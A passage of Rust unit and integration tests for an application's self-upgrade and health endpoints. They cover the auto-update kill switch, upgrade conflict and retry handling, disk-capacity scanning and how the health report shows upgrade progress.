22002        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22003        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22004
22005        assert!(
22006            !update_recheck_due(&checker, Some(&progress)),
22007            "a recheck must not run while an upgrade this deck started is \
22008             still moving"
22009        );
22010    }
22011
22012    #[tokio::test]
22013    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22014        // The same env var the background check honours (`disabled_by_env`)
22015        // must also stop a button press before it ever calls
22016        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22017        // means "never contact GitHub from this process", and a tap on the
22018        // upgrade button must not override that any more than a broken
22019        // `magi.toml` may. Left unset, this fixture's default config would
22020        // otherwise reach a real, unauthenticated GitHub call.
22021        //
22022        // SAFETY: single-threaded as far as this variable goes - nothing else
22023        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22024        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22025        unsafe {
22026            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22027        }
22028        let fx = Fixture::start().await;
22029        let res = fx.post("/api/upgrade", None).await;
22030        unsafe {
22031            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22032        }
22033        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22034        let body = res.json();
22035        assert!(body["to"].is_null(), "there was no release to move to");
22036        assert!(body["parked"].is_null(), "and nothing was parked");
22037        assert!(
22038            body["detail"]
22039                .as_str()
22040                .unwrap()
22041                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22042            "{body:?}"
22043        );
22044    }
22045
22046    #[test]
22047    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22048        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22049        let mut cfg = Update::default();
22050        assert!(matches!(
22051            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22052            Skip(_)
22053        ));
22054        cfg.auto_restart = true;
22055        assert_eq!(
22056            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22057            Trigger
22058        );
22059        assert_eq!(
22060            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22061            Wait
22062        );
22063        for (disabled, moving, failed) in [
22064            (true, false, None),
22065            (false, true, None),
22066            (false, false, Some("v2")),
22067        ] {
22068            assert!(matches!(
22069                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22070                Skip(_)
22071            ));
22072        }
22073        assert_eq!(
22074            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22075            Trigger
22076        );
22077        cfg.mode = UpdateMode::Off;
22078        assert!(matches!(
22079            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22080            Skip(_)
22081        ));
22082    }
22083
22084    #[test]
22085    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22086        let home = TempDir::new().unwrap();
22087        let ui = idle_ui(&home);
22088        assert!(!ui.auto_upgrade_busy());
22089        let directory = home.path().join("workers/jobs/abcdef");
22090        std::fs::create_dir_all(&directory).unwrap();
22091        let mut job = crate::worker::Job {
22092            id: "abcdef".into(),
22093            sequence: 1,
22094            kind: "scheduler".into(),
22095            key: "scheduler".into(),
22096            payload: serde_json::json!({}),
22097            generation: "test".into(),
22098            version: None,
22099            status: crate::worker::Status::Running,
22100            result: None,
22101            pid: None,
22102            created_at: 0,
22103            finished_at: None,
22104        };
22105        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22106        let write = |job: &crate::worker::Job| {
22107            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22108        };
22109        write(&job);
22110        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22111        for kind in ["task", "chat"] {
22112            job.kind = kind.into();
22113            write(&job);
22114            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22115        }
22116        drop(lease);
22117        // A lib test thread that spawns with `pre_exec` forks this process, and
22118        // the child shares the lock's open file description until its exec
22119        // closes it (O_CLOEXEC). So the lock can outlive `drop` for a moment;
22120        // wait for it to be really free (bounded) before judging the state,
22121        // instead of racing whatever other test happens to be spawning.
22122        let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22123        loop {
22124            let probe = std::fs::OpenOptions::new()
22125                .read(true)
22126                .write(true)
22127                .open(directory.join("live.lock"))
22128                .unwrap();
22129            if crate::pr_head::try_lock_file(&probe).is_ok() {
22130                break;
22131            }
22132            assert!(
22133                std::time::Instant::now() < free,
22134                "the worker lease was never released"
22135            );
22136            std::thread::sleep(std::time::Duration::from_millis(5));
22137        }
22138        assert!(
22139            !ui.auto_upgrade_busy(),
22140            "completed execution permits updates"
22141        );
22142        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22143        assert!(
22144            ui.auto_upgrade_busy(),
22145            "unreadable worker state defers updates"
22146        );
22147    }
22148
22149    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22150        Box::pin(async { anyhow::bail!("test installer failed") })
22151    }
22152
22153    #[tokio::test]
22154    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22155        let home = TempDir::new().unwrap();
22156        std::fs::write(
22157            home.path().join("magi.toml"),
22158            "[update]\nauto_restart = true\n",
22159        )
22160        .unwrap();
22161        let mut ui = idle_ui(&home);
22162        ui.repo = home.path().to_path_buf();
22163        // Every successful trigger in this test uses this seam, never the installer.
22164        ui.upgrade_runner = fail_test_upgrade;
22165        let ui = Arc::new(ui);
22166        let latest = || {
22167            Some(kaishin::LatestRelease {
22168                tag_name: "v999.0.0".into(),
22169                html_url: String::new(),
22170            })
22171        };
22172        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22173        assert_eq!(
22174            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22175                .await
22176                .status(),
22177            StatusCode::NO_CONTENT
22178        );
22179        assert!(updater::read_progress(home.path()).is_none());
22180        ui.talk_turns.lock().unwrap().live.clear();
22181        let gate = ui.upgrade_gate.lock().await;
22182        assert_eq!(
22183            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22184                .await
22185                .status(),
22186            StatusCode::CONFLICT
22187        );
22188        drop(gate);
22189        assert_eq!(
22190            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22191                .await
22192                .status(),
22193            StatusCode::ACCEPTED
22194        );
22195        let progress = updater::read_progress(home.path()).unwrap();
22196        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22197        assert_eq!(progress.stage, updater::Stage::Downloading);
22198        assert!(progress.parked_run.is_none());
22199        assert!(ui.start_detached_loop().await.is_err());
22200        assert!(ui.start_loop(None).is_err());
22201        assert!(ui.begin_resume("late").is_err());
22202        tokio::time::timeout(Duration::from_secs(2), async {
22203            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22204                tokio::task::yield_now().await;
22205            }
22206        })
22207        .await
22208        .unwrap();
22209        let progress = updater::read_progress(home.path()).unwrap();
22210        assert_eq!(progress.stage, updater::Stage::Failed);
22211        assert_eq!(
22212            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22213                .await
22214                .status(),
22215            StatusCode::NO_CONTENT
22216        );
22217        // The manual shared path records the same progress and runs the same seam.
22218        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22219        assert_eq!(
22220            finish_upgrade_request(&ui, result).status(),
22221            StatusCode::ACCEPTED
22222        );
22223        assert_eq!(
22224            updater::read_progress(home.path()).unwrap().trigger,
22225            updater::UpgradeTrigger::Manual
22226        );
22227        tokio::time::timeout(Duration::from_secs(2), async {
22228            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22229                tokio::task::yield_now().await;
22230            }
22231        })
22232        .await
22233        .unwrap();
22234    }
22235
22236    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22237        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22238        p.stage = stage;
22239        p
22240    }
22241
22242    #[test]
22243    fn busy_stages_match_the_ui_set() {
22244        use crate::updater::Stage;
22245        assert!(APP_JS.contains(
22246            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22247        ));
22248        for s in [
22249            Stage::Downloading,
22250            Stage::Replaced,
22251            Stage::Parking,
22252            Stage::Restarting,
22253        ] {
22254            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22255        }
22256        for s in [Stage::Done, Stage::Failed] {
22257            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22258        }
22259        assert!(upgrade_in_motion(None).is_none());
22260    }
22261
22262    #[tokio::test]
22263    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22264        use crate::updater::Stage;
22265        for stage in [
22266            Stage::Downloading,
22267            Stage::Replaced,
22268            Stage::Parking,
22269            Stage::Restarting,
22270        ] {
22271            let fx = Fixture::start().await;
22272            let seeded = seeded_progress(stage);
22273            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22274            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22275                .expect("read");
22276
22277            let res = fx.post("/api/upgrade", None).await;
22278            assert_eq!(res.status, 409, "{stage:?}");
22279            let err = res.json()["error"].as_str().unwrap().to_owned();
22280            assert!(err.contains("already in progress"), "{err}");
22281            assert!(err.contains(stage.as_str()), "{err}");
22282
22283            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22284                .expect("read");
22285            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22286            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22287                .unwrap_or_default();
22288            assert!(!log.contains("signalling HANDOVER"), "{log}");
22289        }
22290    }
22291
22292    #[test]
22293    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22294        assert_eq!(
22295            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22296            Some(3723)
22297        );
22298        assert_eq!(
22299            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22300            Some(60)
22301        );
22302        assert_eq!(
22303            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22304            Some(0)
22305        );
22306        for message in [
22307            "permission denied",
22308            "GitHub API rate limit exceeded",
22309            "GitHub rate limit (resets in unknown)",
22310            "GitHub rate limit (resets in 18446744073709551615d)",
22311        ] {
22312            assert_eq!(upgrade_retry_after(message), None, "{message}");
22313        }
22314    }
22315
22316    #[tokio::test]
22317    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22318        let home = TempDir::new().unwrap();
22319        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22320        ui.start_loop(None).unwrap();
22321        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22322        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22323        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22324        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22325        let response = finish_upgrade_request(&ui, result);
22326        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22327        assert_eq!(response.headers()["retry-after"], "120");
22328        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22329            .await
22330            .unwrap();
22331        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22332        assert!(body["error"].as_str().unwrap().contains(reason));
22333        assert_eq!(body["retry_after_secs"], 120);
22334        assert!(body["retry_at"].as_u64().is_some());
22335        for _ in 0..2 {
22336            let view = health(State(ui.clone())).await.unwrap().0;
22337            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22338            assert_eq!(failure, body);
22339        }
22340        assert_eq!(
22341            std::fs::read(updater::progress_path(home.path())).unwrap(),
22342            before
22343        );
22344        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22345        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22346        // A conflicting request must not erase the actionable earlier failure.
22347        let gate = ui.upgrade_gate.lock().await;
22348        assert_eq!(
22349            upgrade_post(State(ui.clone())).await.status(),
22350            StatusCode::CONFLICT
22351        );
22352        drop(gate);
22353        assert!(
22354            health(State(ui.clone()))
22355                .await
22356                .unwrap()
22357                .0
22358                .upgrade_request_error
22359                .is_some()
22360        );
22361        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22362        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22363        assert!(
22364            health(State(ui.clone()))
22365                .await
22366                .unwrap()
22367                .0
22368                .upgrade_request_error
22369                .is_none()
22370        );
22371        let live = ui.lock_loop().live.take().unwrap();
22372        live.stop.stop();
22373        live.handle.await.unwrap();
22374    }
22375
22376    #[tokio::test]
22377    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22378        use crate::updater::Stage;
22379        let repo = TempDir::new().expect("repo dir");
22380        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22381            .expect("write magi.toml");
22382        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22383        for stage in [Stage::Done, Stage::Failed] {
22384            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22385            let res = fx.post("/api/upgrade", None).await;
22386            assert_eq!(res.status, 200, "{stage:?}");
22387        }
22388        // No record at all, and the gate was released by the earlier calls.
22389        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22390        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22391    }
22392
22393    #[tokio::test]
22394    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22395        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22396        // and the route answers from its own logic.
22397        //
22398        // This test used to lean on the fixture's placeholder repo failing
22399        // config discovery, which left `mode = "notify"` - and a live,
22400        // unauthenticated call to the GitHub releases API inside a unit test.
22401        // GitHub allows 60 of those an hour per address, so the suite went red
22402        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22403        // long as somebody kept re-running it: every attempt spent another
22404        // request. Six reruns across four pull requests were charged to that
22405        // before it was read as a rate limit rather than a flake.
22406        //
22407        // What the assertion is about is the "already current" branch, which
22408        // is reached by there being no newer release *or* nowhere to look. The
22409        // second one needs no network and cannot be rate limited.
22410        let repo = TempDir::new().expect("repo dir");
22411        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22412            .expect("write magi.toml");
22413        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22414
22415        // It must answer 200 and leave the process alone: restarting for an
22416        // upgrade that did not happen parks the run in flight and drops every
22417        // connection to pay for nothing. A probe against a deck already on the
22418        // newest build did exactly that, which is how this case got its own
22419        // branch.
22420        let res = fx.post("/api/upgrade", None).await;
22421        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22422        let body = res.json();
22423        assert!(body["to"].is_null(), "there was no release to move to");
22424        assert!(body["parked"].is_null(), "and nothing was parked");
22425        assert!(
22426            body["detail"]
22427                .as_str()
22428                .unwrap()
22429                .contains("nothing restarted"),
22430            "{body:?}"
22431        );
22432    }
22433
22434    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22435        tokio::time::timeout(Duration::from_secs(5), async {
22436            while state.lock().unwrap().in_flight {
22437                tokio::task::yield_now().await;
22438            }
22439        })
22440        .await
22441        .expect("capacity scan finished");
22442    }
22443
22444    fn disk_test_scope(home: &FsPath) -> DiskScope {
22445        DiskScope {
22446            runs: home.join("runs"),
22447            worktrees: home.join("worktrees"),
22448            cache: Some(home.join("cache")),
22449        }
22450    }
22451
22452    fn known_disk_capacity() -> DiskCapacity {
22453        DiskCapacity {
22454            free_bytes: Some(100),
22455            runs_bytes: Some(200),
22456            worktrees_bytes: Some(300),
22457            cache_bytes: Some(400),
22458        }
22459    }
22460
22461    #[tokio::test]
22462    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22463        let home = TempDir::new().unwrap();
22464        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22465        let mut ui = delta_test_ui(home.path());
22466        let state = Arc::get_mut(&mut ui).unwrap();
22467        state.repo = home.path().to_owned();
22468        state.worktrees_root = home.path().join("worktrees");
22469        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22470        ui.monitor
22471            .worker_started
22472            .store(true, std::sync::atomic::Ordering::SeqCst);
22473        let cfg = deputy_config(&ui.repo);
22474        let scope = DiskScope::of(&ui, cfg.as_ref());
22475        let (started, reached) = tokio::sync::oneshot::channel();
22476        let (release, blocked) = std::sync::mpsc::channel();
22477        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22478            started.send(()).unwrap();
22479            blocked.recv().unwrap();
22480            known_disk_capacity()
22481        });
22482        assert!(cold.runs_bytes.is_none());
22483        tokio::time::timeout(Duration::from_secs(5), reached)
22484            .await
22485            .unwrap()
22486            .unwrap();
22487
22488        let requests: Vec<_> = (0..4)
22489            .map(|_| {
22490                let ui = ui.clone();
22491                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22492            })
22493            .collect();
22494        tokio::time::timeout(Duration::from_secs(5), async {
22495            for request in requests {
22496                let view = request.await.unwrap();
22497                let disk = serde_json::to_value(view.disk).unwrap();
22498                assert!(disk["runs_bytes"].is_null());
22499                assert!(disk["worktrees_bytes"].is_null());
22500                assert!(disk.get("free_bytes").is_none());
22501            }
22502        })
22503        .await
22504        .expect("health must return while the measurement is causally blocked");
22505        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22506        // No competing worker can have published while the first holds flight.
22507        assert!(
22508            ui.monitor
22509                .disk
22510                .lock()
22511                .unwrap()
22512                .capacity
22513                .runs_bytes
22514                .is_none()
22515        );
22516        release.send(()).unwrap();
22517        wait_for_disk_scan(&ui.monitor.disk).await;
22518        assert_eq!(
22519            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22520            Some(200)
22521        );
22522    }
22523
22524    #[tokio::test]
22525    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22526        let home = TempDir::new().unwrap();
22527        let scope = disk_test_scope(home.path());
22528        let state = Arc::new(Mutex::new(DiskObservation {
22529            scope: Some(scope.clone()),
22530            capacity: known_disk_capacity(),
22531            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22532            ..Default::default()
22533        }));
22534        let (started, reached) = tokio::sync::oneshot::channel();
22535        let (release, blocked) = std::sync::mpsc::channel();
22536        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22537            started.send(()).unwrap();
22538            blocked.recv().unwrap();
22539            DiskCapacity {
22540                runs_bytes: Some(250),
22541                ..Default::default()
22542            }
22543        });
22544        assert_eq!(before.cache_bytes, Some(400));
22545        tokio::time::timeout(Duration::from_secs(5), reached)
22546            .await
22547            .unwrap()
22548            .unwrap();
22549        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22550        for _ in 0..4 {
22551            let scans = duplicate_scans.clone();
22552            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22553                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22554                DiskCapacity::default()
22555            });
22556            assert_eq!(during.runs_bytes, Some(200));
22557            assert_eq!(during.cache_bytes, Some(400));
22558        }
22559        release.send(()).unwrap();
22560        wait_for_disk_scan(&state).await;
22561        let scans = duplicate_scans.clone();
22562        let after = DiskObservation::observe(&state, scope, move |_| {
22563            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22564            DiskCapacity::default()
22565        });
22566        wait_for_disk_scan(&state).await;
22567        assert_eq!(after.runs_bytes, Some(250));
22568        assert_eq!(after.free_bytes, Some(100));
22569        assert_eq!(after.cache_bytes, Some(400));
22570        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22571        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22572    }
22573
22574    #[tokio::test]
22575    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22576        let home = TempDir::new().unwrap();
22577        let old_scope = disk_test_scope(home.path());
22578        let mut new_scope = old_scope.clone();
22579        new_scope.cache = Some(home.path().join("replacement-cache"));
22580        let state = Arc::new(Mutex::new(DiskObservation {
22581            scope: Some(old_scope.clone()),
22582            capacity: known_disk_capacity(),
22583            ..Default::default()
22584        }));
22585        let (started, reached) = tokio::sync::oneshot::channel();
22586        let (release, blocked) = std::sync::mpsc::channel();
22587        DiskObservation::observe(&state, old_scope, move |_| {
22588            started.send(()).unwrap();
22589            blocked.recv().unwrap();
22590            known_disk_capacity()
22591        });
22592        tokio::time::timeout(Duration::from_secs(5), reached)
22593            .await
22594            .unwrap()
22595            .unwrap();
22596        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22597        let scans = duplicate_scans.clone();
22598        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22599            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22600            DiskCapacity::default()
22601        });
22602        assert!(changed.cache_bytes.is_none());
22603        assert!(changed.runs_bytes.is_none());
22604        release.send(()).unwrap();
22605        wait_for_disk_scan(&state).await;
22606        {
22607            let observation = state.lock().unwrap();
22608            assert!(observation.capacity.cache_bytes.is_none());
22609            assert!(observation.finished.is_none());
22610        }
22611        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22612            assert_eq!(scope, &new_scope);
22613            DiskCapacity {
22614                cache_bytes: Some(999),
22615                ..Default::default()
22616            }
22617        });
22618        wait_for_disk_scan(&state).await;
22619        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22620        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22621    }
22622
22623    #[tokio::test]
22624    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22625        let home = TempDir::new().unwrap();
22626        let scope = disk_test_scope(home.path());
22627        let state = Arc::new(Mutex::new(DiskObservation {
22628            scope: Some(scope.clone()),
22629            capacity: known_disk_capacity(),
22630            ..Default::default()
22631        }));
22632        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22633        wait_for_disk_scan(&state).await;
22634        {
22635            let mut observation = state.lock().unwrap();
22636            assert_eq!(observation.capacity.cache_bytes, Some(400));
22637            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22638            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22639        }
22640        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22641            cache_bytes: Some(450),
22642            ..Default::default()
22643        });
22644        wait_for_disk_scan(&state).await;
22645        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22646    }
22647
22648    #[test]
22649    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22650        let home = TempDir::new().unwrap();
22651        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22652        assert_eq!(disk_capacity_size(home.path()), Some(0));
22653        std::fs::create_dir(home.path().join("nested")).unwrap();
22654        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22655        assert_eq!(disk_capacity_size(home.path()), Some(5));
22656        #[cfg(unix)]
22657        {
22658            // Unix distinguishes an invalid descendant lookup from absence.
22659            assert_eq!(
22660                disk_capacity_size(&home.path().join("nested/data/child")),
22661                None
22662            );
22663        }
22664        #[cfg(unix)]
22665        {
22666            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22667            assert_eq!(disk_capacity_size(home.path()), Some(5));
22668        }
22669    }
22670
22671    #[tokio::test]
22672    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22673        // `mode = "off"` for the same reason as the test above: a default
22674        // fixture repo falls back to `mode = "notify"`, which would make this
22675        // route's new `update` field a live, unauthenticated GitHub call on
22676        // every assertion in this suite that happens to hit `/api/health`.
22677        let repo = TempDir::new().expect("repo dir");
22678        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22679            .expect("write magi.toml");
22680        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22681
22682        let health = fx.get("/api/health").await.json();
22683        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22684        assert_eq!(
22685            health["update"]["available"], false,
22686            "checking is off, which reads as \"unknown\", not \"none\""
22687        );
22688        assert!(health["update"]["to"].is_null());
22689        assert!(
22690            health["upgrade"].is_null(),
22691            "nothing has ever asked this deck to upgrade"
22692        );
22693    }
22694
22695    #[tokio::test]
22696    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22697        let fx = Fixture::start().await;
22698        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22699
22700        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22701        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22702        progress.advance(crate::updater::Stage::Parking);
22703        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22704
22705        let health = fx.get("/api/health").await.json();
22706        assert_eq!(health["upgrade"]["stage"], "parking");
22707        assert_eq!(health["upgrade"]["from"], "0.5.1");
22708        assert_eq!(health["upgrade"]["to"], "0.5.2");
22709        let waiting_on = health["upgrade"]["waiting_on"]
22710            .as_str()
22711            .expect("waiting_on is set while parking a known run");
22712        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22713        assert!(waiting_on.contains("implementing"), "{waiting_on}");
22714    }
22715
22716    #[tokio::test]
22717    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22718        let fx = Fixture::start().await;
22719        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22720        progress.advance(crate::updater::Stage::Done);
22721        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22722
22723        let health = fx.get("/api/health").await.json();
22724        assert_eq!(health["upgrade"]["stage"], "done");
22725        assert!(
22726            health["upgrade"]["waiting_on"].is_null(),
22727            "nothing to wait on once it is done"
22728        );
22729    }
22730
22731    /// The handover signal is seen however the race falls, and wakes its one
22732    /// waiter once per signal - nothing here can spin.
22733    #[tokio::test]
22734    async fn the_handover_signal_wakes_one_waiter_once() {
22735        let signal = Notify::new();
22736        // Signalled before anyone waits: the stored permit is not lost.
22737        signal.notify_one();
22738        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22739            .await
22740            .expect("an early signal is still seen");
22741        // One signal, one wake-up: a second wait does not resolve by itself.
22742        assert!(
22743            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22744                .await
22745                .is_err(),
22746            "a consumed signal must not wake a second time"
22747        );
22748        // Signalled while waiting.
22749        let signal = std::sync::Arc::new(signal);
22750        let waiter = tokio::spawn({
22751            let signal = std::sync::Arc::clone(&signal);
22752            async move { wait_for_handover(&signal).await }
22753        });
22754        tokio::time::sleep(Duration::from_millis(20)).await;
22755        assert!(!waiter.is_finished(), "nothing was signalled yet");
22756        signal.notify_one();
22757        tokio::time::timeout(Duration::from_secs(5), waiter)
22758            .await
22759            .expect("a late signal wakes the waiter")
22760            .expect("join");
22761    }
22762
22763    #[tokio::test]
22764    async fn health_says_how_long_a_handover_has_been_stuck() {
22765        let fx = Fixture::start().await;
22766        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22767        progress.advance(crate::updater::Stage::Replaced);
22768        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22769        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22770
22771        let health = fx.get("/api/health").await.json();
22772        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22773        assert!(stuck >= 600, "{stuck}");
22774        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22775        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22776    }
22777
22778    #[tokio::test]
22779    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22780        let home = tempfile::tempdir().expect("temp home");
22781        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22782        progress.advance(crate::updater::Stage::Parking);
22783        crate::updater::write_progress(home.path(), &progress).expect("seed");
22784        // What the second upgrade_and_restart and its handler do.
22785        let mut again = progress.clone();
22786        again.advance(crate::updater::Stage::Replaced);
22787        crate::updater::write_progress(home.path(), &again).expect("replaced");
22788        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22789        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22790        let after = crate::updater::read_progress(home.path()).expect("record");
22791        assert_eq!(after.stage, crate::updater::Stage::Parking);
22792    }
22793
22794    #[tokio::test]
22795    async fn health_does_not_call_a_live_parking_wait_stuck() {
22796        let fx = Fixture::start().await;
22797        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22798        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22799        progress.advance(crate::updater::Stage::Parking);
22800        let hours = Duration::from_secs(3 * 3600);
22801        progress.started_at = Timestamp::now() - hours;
22802        progress.updated_at = Timestamp::now() - hours;
22803        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22804        let _lease = crate::updater::LeaseGuard::enter(
22805            fx.home.path(),
22806            Some("20260905-000000-cd51".to_owned()),
22807        );
22808
22809        let health = fx.get("/api/health").await.json();
22810        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22811        assert!(health["upgrade"]["stuck_kind"].is_null());
22812        assert_eq!(health["upgrade"]["handover_alive"], true);
22813        let waiting_on = health["upgrade"]["waiting_on"]
22814            .as_str()
22815            .expect("waiting_on");
